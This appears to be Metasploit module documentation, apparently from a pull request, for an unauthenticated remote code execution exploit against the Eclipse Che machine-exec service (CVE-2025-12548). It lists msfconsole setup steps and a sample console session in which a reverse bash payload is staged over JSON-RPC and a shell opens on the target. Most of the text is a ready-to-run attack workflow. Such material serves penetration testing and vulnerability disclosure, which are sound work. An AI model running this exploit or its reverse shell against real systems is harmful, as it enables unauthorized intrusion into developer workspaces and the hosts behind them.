Add Eclipse Che machine-exec unauthenticated RCE (CVE-2025-12548)

[GregDurys]

This module exploits an unauthenticated RCE vulnerability (CVE-2025-12548) in the Eclipse Che machine-exec service. The service accepts WebSocket connections without authentication on port 3333, allowing command execution via JSON-RPC.

Affects Red Hat OpenShift DevSpaces environments.

Verification

• Start msfconsole
• use exploit/linux/http/eclipse_che_machine_exec_rce
• set RHOSTS <target>
• set LHOST <your_ip>
• check
• exploit
• Verify you get a shell session

Scenarios

msf6 > use exploit/linux/http/eclipse_che_machine_exec_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > check
[+] 192.168.1.10:3333 - The target is vulnerable. machine-exec service accepts unauthenticated connections
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. machine-exec service accepts unauthenticated connections
[*] Connecting to machine-exec service...
[+] Connected to machine-exec service
[*] Staging payload via JSON-RPC create method...
[+] Command staged with process ID: 2
[*] Triggering execution via /attach/2...
[+] Payload triggered!
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47578) at 2025-12-30 19:46:55 +0000

whoami
user